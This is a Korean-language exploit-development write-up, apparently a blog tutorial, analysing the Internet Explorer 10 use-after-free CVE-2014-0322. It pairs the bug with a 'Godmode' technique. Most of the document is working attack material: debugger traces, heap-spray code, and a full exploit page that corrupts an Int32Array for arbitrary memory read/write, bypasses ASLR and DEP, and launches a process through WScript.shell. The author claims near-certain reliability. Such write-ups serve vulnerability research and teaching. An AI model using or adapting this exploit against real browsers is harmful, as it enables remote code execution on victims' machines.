cve20140322
Internet Explorer 10 Exploit - (CVE-2014-0322 + Godmode)
아래 공개된 Exploit 코드를 참고 했습니다.
http://expdev-kiuhnm.rhcloud.com/2015/05/11/contents/
단, 공개된 calc 파일 생성 Exploit 이 아닌 약간의 수정을 거친 코드입니다.(modified by hyunmini)
================================================================================================
위의 게시물에도 적혀있듯이, CVE-2014-0322 + Godmode Exploit 을 이해하려면 생각보다 많은 추가 지식이 필요 하다.
앞에서 Int32Array 객체의 length 를 변조하여(00 00 00 16 => 20 00 00 16) 1 byte 변조 만으로 info leak 및 ASLR 우회가 가능함을 확인했다.
CVE-2014-0322 취약점(inc 1 byte Use-After-Free)을 이용하면 1 바이트 증가시킬 수 있다. 이를 이용하여 DEP/ASLR 을 우회하여 공격이 가능하다.
#### CVE-2014-0322 분석 ####
C:\Users\I-Pub>"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" /i iexplore.exe +ust +hpa
Current Registry Settings for iexplore.exe executable are: 02001000
ust - Create user mode stack trace database
hpa - Enable page heap
<!-- CVE-2014-0322 --> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> // 최신 브라우저로 동작하도록 해줌. 호환성모드 무시하고 동작하도록 해줌 </head> <body> <script> function handler() { this.outerHTML = this.outerHTML; // free } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); } trigger(); </script> </body> </html>
(578.8a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=254ccfa0 ecx=77d463e0 edx=00171078 esi=2b652cc0 edi=2556cfc8
eip=6307100c esp=0a67b540 ebp=0a67b5a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
MSHTML!CMarkup::NotifyElementEnterTree+0x266:
6307100c ff4678 inc dword ptr [esi+78h] ds:0023:2b652d38=????????
0:013> dd esi // dangling pointer (uaf)
2b652cc0 ???????? ???????? ???????? ????????
2b652cd0 ???????? ???????? ???????? ????????
2b652ce0 ???????? ???????? ???????? ????????
0:013> !heap -p -a 2b652d38
address 2b652d38 found in
_DPH_HEAP_ROOT @ 171000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
2b710f08: 2b652000 2000
6e2c90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77db69d4 ntdll!RtlDebugFreeHeap+0x0000002f
77d79e5b ntdll!RtlpFreeHeap+0x0000005d
77d46416 ntdll!RtlFreeHeap+0x00000142
763bc584 kernel32!HeapFree+0x00000014
62ee8f06 MSHTML!CMarkup::`vector deleting destructor'+0x00000026
62eb55da MSHTML!CBase::SubRelease+0x0000002e
62ee4183 MSHTML!CMarkup::Release+0x0000002d
632b14d1 MSHTML!InjectHtmlStream+0x00000716 // CMarkup 해제하는 함수 호출함
632b1567 MSHTML!HandleHTMLInjection+0x00000082
632acfec MSHTML!CElement::InjectInternal+0x00000506
632ad21d MSHTML!CElement::InjectTextOrHTML+0x000001a4
6319ea80 MSHTML!CElement::put_outerHTML+0x0000001d // this.outerHTML = this.outerHTML;
634a309c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x00000054
6dee847a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185
6dee92c5 jscript9!Js::JavascriptArray::GetSetter+0x000000cf
6df46c56 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x000005a8
6df1c53b jscript9!Js::InterpreterStackFrame::Process+0x00000fbf
6dee5cf5 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305
#### UAF 객체 확인하기 ####
0:013> bp mshtml + 0x22100c
0:013> .restart // 재시작 후 아무거나 클릭
0:012> r
eax=00000000 ebx=079b2158 ecx=cd160735 edx=00000000 esi=0c87f9a8 edi=0cbef9f8
eip=6307100c esp=048ea760 ebp=048ea7c8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!CMarkup::NotifyElementEnterTree+0x266:
6307100c ff4678 inc dword ptr [esi+78h] ds:0023:0c87fa20=00000002
0:012> !heap -p -a esi
address 0c87f9a8 found in
_HEAP @ 3a0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0c87f9a0 0069 0000 [00] 0c87f9a8 00340 - (busy)
MSHTML!CMarkup::`vftable'
객체 크기는 0x340 이며, CMarkup 임을 알 수 있다.
0:012> dd esi
0c87f9a8 62e74a18 00000001 00000000 00000008
0c87f9b8 00000000 00000000 00000000 00000000
0c87f9c8 00000000 00000000 00000000 00000000
0:012> dds poi(esi) // VFTable 확인 => CMarkup 객체
62e74a18 630275f0 MSHTML!CMarkup::PrivateQueryInterface
62e74a1c 62e901e0 MSHTML!CMarkup::PrivateAddRef
62e74a20 62e901bd MSHTML!CMarkup::PrivateRelease
62e74a24 634aa3cd MSHTML!CBase::PrivateGetTypeInfoCount
이로써 해제된 CMarkup 객체를 다시 사용하려다 발생하는 UAF 임을 알 수 있다.
객체는 일반적으로 reference count 가 0 이 되면 해제되는데, 관련된 메소드들은 아래와 같다.
0:026> x mshtml!cmarkup::*ref
62ee5aec MSHTML!CMarkup::ElementAddRef (<no parameter info>)
62e901e0 MSHTML!CMarkup::PrivateAddRef (<no parameter info>)
62ee41b9 MSHTML!CMarkup::AddRef (<no parameter info>)
0:026> x mshtml!cmarkup::*release
62e901bd MSHTML!CMarkup::PrivateRelease (<no parameter info>)
62ee414a MSHTML!CMarkup::Release (<no parameter info>)
6308f9ef MSHTML!CMarkup::ElementRelease (<no parameter info>)
하지만 addref 와 release 가 너무 많이 호출되서 저것만으론 분석이 어려움.
그래서 mshtml!CMarkup::CMarkup, mshtml!CMarkup::~CMarkup 으로 분석
분석을 위해 다들 하는 대로 atan2 함수를 이용했다. 분석 전에 처음에 설정해둔 디버깅용 힙 플래그를 해제해 주어야 한다.
(해제하지 않으면 LFH 가 활성화 되지 않아 메모리를 원하는 위치에 다시 할당할 수 없다)
C:\Users\I-Pub>"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" /i iexplore.exe -ust -hpa
<!-- CVE-2014-0322 --> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> </head> <body> <script> var array = []; var array_len = 0x250; function createString(character, size) { while (character.length < size) { character += character; } return character.substr(0, (size - 6) / 2); } function handler() { Math.atan2(0xabcd, "[*] Start Handler"); this.outerHTML = this.outerHTML; // free var data = createString("A", 0xac + 0x6); data += unescape("%u4344%u4142"); data += createString("C",0x340); test = data.substr(0, (0x340-6) /2); for (var i=0;i<array_len;i++){ array[i] = document.createElement("button"); array[i].title = test; } Math.atan2(0xabcd, "[*] End Handler"); } function trigger() { Math.atan2(0xabcd, "[*] Trigger Start..."); var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); // use Math.atan2(0xabcd, "[*] Trigger End..."); } trigger(); </script> </body> </html>
0:020> sxe ld jscript9.dll // jscript9 로드시 break
(238.734): Unknown exception - code 000006ba (first chance)
ModLoad: 6ded0000 6e196000 C:\Windows\System32\jscript9.dll
eax=12217000 ebx=00000000 ecx=00201000 edx=00000000 esi=7ff9f000 edi=09e18e5c
eip=77d36c74 esp=09e18d74 ebp=09e18dc8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
ntdll!KiFastSystemCallRet:
77d36c74 c3 ret
0:020> g
# 브레이크 포인트 설정
더 자세한 분석을 하고 싶다면 kb 10 등의 콜스택 명령을 추가해서 각각의 할당과 해제 루틴을 분석하면 된다.
0:012> bu jscript9!Js::math::atan2 ".printf \"log : %mu\", poi(poi(esp+14)+c);.echo;g"
0:012> bu mshtml!CMarkup::CMarkup ".printf \"Alloc CMarkup %p\", @esi;.echo;g;"
0:012> bu mshtml!CMarkup::~CMarkup ".printf \"Free CMarkup %p\", @ecx;.echo;g;"
0:012> g
log : [*] Trigger Start...
log : [*] Start Handler
Alloc CMarkup 121d2cc0
Free CMarkup 121d2cc0
log : [*] End Handler
Alloc CMarkup 14dfccc0
log : [*] Start Handler
Alloc CMarkup 1423ecc0
Free CMarkup 1423ecc0
Free CMarkup 14dfccc0
log : [*] End Handler
(504.75c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=14e0cfa0 ecx=77d463e0 edx=00061078 esi=14dfccc0 edi=13319fc8
eip=6307100c esp=0967b370 ebp=0967b3d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
MSHTML!CMarkup::NotifyElementEnterTree+0x266:
6307100c ff4678 inc dword ptr [esi+78h] ds:0023:14dfcd38=????????
b = a.appendChild(b);
이제 uaf 분석은 끝났고, 객체 크기(0x340 도 알고 있으니 정확한 크기를 할당하여 LFH 를 이용하면 해제된 메모리에
원하는 값을 다시 할당해줄 수 있다. 현재 버전의 IE 는 isolated heap, protected memory(delayed heap) 이 적용되기 이전이므로
그냥 아래와 같이 할당만 해주면 된다.
var data = createString("A", 0xac + 0x6); data += unescape("%u4344%u4142"); data += createString("C",0x340); test = data.substr(0, (0x340-6) /2); for (var i=0;i<array_len;i++){ array[i] = document.createElement("button"); array[i].title = test; }
이제 브레이크포인트를 해제하고, .restart 로 재시작을 해 보자.
eax=41424344 ebx=046ac718 ecx=00000191 edx=05cdcd10 esi=05cdcd10 edi=04746bc0
eip=630d1b97 esp=04a1b4ac ebp=04a1b518 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16:
630d1b97 ff4010 inc dword ptr [eax+10h] ds:0023:41424354=????????
eax 의 값이 할당된 곳을 확인해 보자.
0:011> u @eip-d l 10
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x9:
630d1b8a 89427c mov dword ptr [edx+7Ch],eax
630d1b8d 8b82ac000000 mov eax,dword ptr [edx+0ACh] // eax 할당
630d1b93 85c0 test eax,eax
630d1b95 7403 je MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19 (630d1b9a)
630d1b97 ff4010 inc dword ptr [eax+10h] // crash
630d1b9a 8b8a94000000 mov ecx,dword ptr [edx+94h]
630d1ba0 33c0 xor eax,eax
630d1ba2 85c9 test ecx,ecx
630d1ba4 7403 je MSHTML!CMarkup::UpdateMarkupContentsVersion+0x28 (630d1ba9)
630d1ba6 8b410c mov eax,dword ptr [ecx+0Ch]
630d1ba9 83b8c001000000 cmp dword ptr [eax+1C0h],0
630d1bb0 7427 je MSHTML!CMarkup::UpdateMarkupContentsVersion+0x50 (630d1bd9)
630d1bb2 33c0 xor eax,eax
630d1bb4 85c9 test ecx,ecx
630d1bb6 7403 je MSHTML!CMarkup::UpdateMarkupContentsVersion+0x3a (630d1bbb)
630d1bb8 8b410c mov eax,dword ptr [ecx+0Ch]
0:011> dd edx+ac
05cdcdbc 41424344 00430043 00430043 00430043
05cdcdcc 00430043 00430043 00430043 00430043
05cdcddc 00430043 00430043 00430043 00430043
05cdcdec 00430043 00430043 00430043 00430043
05cdcdfc 00430043 00430043 00430043 00430043
05cdce0c 00430043 00430043 00430043 00430043
05cdce1c 00430043 00430043 00430043 00430043
05cdce2c 00430043 00430043 00430043 00430043
0:011> r
위 trigger() 함수를 이용해서 int32array 의 길이값, rawbuffer 주소를 변조하고, 프로세스 전체 접근 권한을 얻는다.
이후에는 int32array 읽기/쓰기 함수를 이용해서 jscript, mshtml 주소값과 목표 vtable 주소를 얻고,
최종적으로 godmode 를 켜준다.
전체 Exploit 코드는 아래와 같다.
<html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <script language="javascript"> var array = []; var array_len = 0x250; function getFiller(n) { return new Array(n + 1).join("a"); } function getDwordStr(val) { return String.fromCharCode(val % 0x10000, val / 0x10000);} function handler() { this.outerHTML = this.outerHTML; // free var data = getFiller(0x94 / 2) + getDwordStr(0xc0af010) + getFiller((0xac - (0x94 + 4)) / 2) + getDwordStr(0xc0af00b) + getFiller((0x1a4 - (0xac + 4)) / 2) + getDwordStr(0x11111) + getFiller((0x340 - (0x1a4 + 4)) / 2 - 1); test = data.substr(0, (0x340 - 6) / 2); // Fake Object -> LFH (size: 0x340) for (var i = 0; i < array_len; i++) { array[i] = document.createElement("button"); array[i].title = test; } } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); // use } (function() { // clear memory CollectGarbage(); a = new Array(); for (i = 0; i < 0x200; ++i) { a[i] = new Array(0x3c00); if (i == 0x80) buf = new ArrayBuffer(0x58); for (j = 0; j < a[i].length; ++j) a[i][j] = 0x123; } for (; i < 0x200 + 0x400; ++i) { a[i] = new Array(0x3bf8) for (j = 0; j < 0x55; ++j) a[i][j] = new Int32Array(buf) } // inc * 0x20 : 0x0c0af01b(00->20) // 00 00 00 16 -> 20 00 00 16 for (var k = 0; k < 0x20; ++k) { trigger(); } //alert("Set byte at 0c0af01b to 0x20"); // find modified Int32Array int32array = 0; for (i = 0x200; i < 0x200 + 0x400; ++i) { for (j = 0; j < 0x55; ++j) { if (a[i][j].length != 0x58 / 4) { int32array = a[i][j]; break; } } if (int32array != 0) break; } if (int32array == 0) { //alert("Can't find int32array!"); window.location.reload(); return; } // validate memory array // to get buf_addr var vftptr1 = int32array[0x60 / 4], vftptr2 = int32array[0x60 * 2 / 4], vftptr3 = int32array[0x60 * 3 / 4], nextPtr1 = int32array[(0x60 + 0x24) / 4], nextPtr2 = int32array[(0x60 * 2 + 0x24) / 4], nextPtr3 = int32array[(0x60 * 3 + 0x24) / 4]; if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 || nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) { window.location.reload(); return; } // Int32Array address buf_addr = nextPtr1 - 0x60 * 2; // validate int32array addr // 0x0c0af01c => buf_addr // 0x0c0af01c => buf_addr + offset // offset = 0x0c0af01c - buf addr if (int32array[(0x0c0af01c - buf_addr) / 4] != buf_addr) { window.location.reload(); return; } /* before 0:021> dd 0x0c0af000 0c0af000 6ded3b60 05439760 00000000 00000003 0c0af010 00000004 00000000 20000016 0205fc30 */ //int32array[(0x0c0af018 - buf_addr) / 4] = 0x20000000; // new length int32array[(0x0c0af01c - buf_addr) / 4] = 0; // new buffer address, full memory access!! /* after 0:027> dd 0x0c0af000 0c0af000 6ded3b60 054398a0 00000000 00000003 0c0af010 00000004 00000000 20000000 00000000 */ function read(address) { var k = address & 3; if (k == 0) { // address % 4 == 0 return int32array[address / 4]; } else { return (int32array[(address - k) / 4] >> k * 8) | (int32array[(address - k + 4) / 4] << (32 - k * 8)); } } function write(address, value) { var k = address & 3; if (k == 0) { // address % 4 == 0 int32array[address / 4] = value; } else { var low = int32array[(address - k) / 4]; var high = int32array[(address - k + 4) / 4]; var mask = (1 << k * 8) - 1; // 0xff or 0xffff or 0xffffff low = (low & mask) | (value << k * 8); high = (high & (0xffffffff - mask)) | (value >> (32 - k * 8)); int32array[(address - k) / 4] = low; int32array[(address - k + 4) / 4] = high; } } // God mode !! // jscript9.dll base address = int32array vftable - offset jscript9 = read(0x0c0af000) - 0x3b60; //alert("jscript9.dll base address\n0x"+jscript9.toString(16)); for (i = 0x200; i < 0x200 + 0x400; ++i) a[i][0x3bf7] = 0; // 0x0c0af000-4 => find last array addr //================================== // array [0~~~ 0x3bf7] // 0x0c0af000 [int32array] write(0x0c0af000 - 4, 3); leakArray = 0; for (i = 0x200; i < 0x200 + 0x400; ++i) { if (a[i][0x3bf7] != 0) { leakArray = a[i]; break; } } if (leakArray == 0) { alert("Can't find leakArray!"); window.location.reload(); return; } function get_addr(obj) { // leakarray[0x3bf7] == 0x0c0af000-4 leakArray[0x3bf7] = obj; return read(0x0c0af000 - 4); } // div elements first 4 bytes => jscript9!Projection::ArrayObjectInstance::`vftable' // div elements +0x10 bytes => MSHTML!CBaseTypeOperations::CBaseFinalizer var addr = get_addr(document.createElement("div")); // MSHTML!CBaseTypeOperations::CBaseFinalizer Vtable = mshtml + 0x58b9a mshtml = read(addr + 0x10) - 0x58b9a; //var old = read(mshtml + 0xc555e0 + 0x14); write(mshtml + 0xc555e0 + 0x14, jscript9 + 0xdc164); // God mode on shell = new ActiveXObject("WScript.shell"); shell.Exec('calc.exe'); //write(mshtml + 0xc555e0 + 0x14, old); // God mode off //alert("All done!"); })(); </script> </head> <body> </body> </html>
거의 99% 신뢰도로 Exploit 성공한다. 중간중간 확인 후 memory layout 이 맞지 않으면 reload 해주기 때문이다.
자세한 설명은 고급과정에서 자세히!